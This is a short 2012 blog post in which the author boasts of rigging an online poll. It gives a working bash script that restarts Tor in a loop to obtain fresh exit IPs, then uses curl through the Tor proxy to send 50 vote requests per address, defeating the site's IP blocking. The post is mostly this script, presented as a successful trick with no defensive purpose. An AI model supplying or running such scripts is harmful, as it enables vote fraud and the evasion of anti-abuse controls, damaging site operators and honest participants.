Donnerstag, 12. Januar 2012

Me iz a script kiddy

Today i wanted to test something out. I had this voting and i wanted to manipulate it. It was an easy task to find out that the main vote was did with a casual Get /vote.php?id=[idofthecheckbox]

but the problem was that there was a IP-Blocking after several GETS.

So i installed TOR and made this tiny little script.

Worked like charm :)


#!/bin/bash
while true; do
echo "restart TOR..assign new ip address";
/etc/init.d/tor restart >> /dev/null
curl  --socks5-hostname localhost:9050 -s http://checkip.dyndns.com/ | awk '{ print $6 }' | awk '{gsub("</body></html>", "");print}'
COUNTER=50
until [  $COUNTER -lt 1 ]; do
        curl  --socks5-hostname localhost:9050 -s "http://xxx.xxx/votingscript.php?id=[id]";
        let COUNTER-=1
done
done

Keine Kommentare: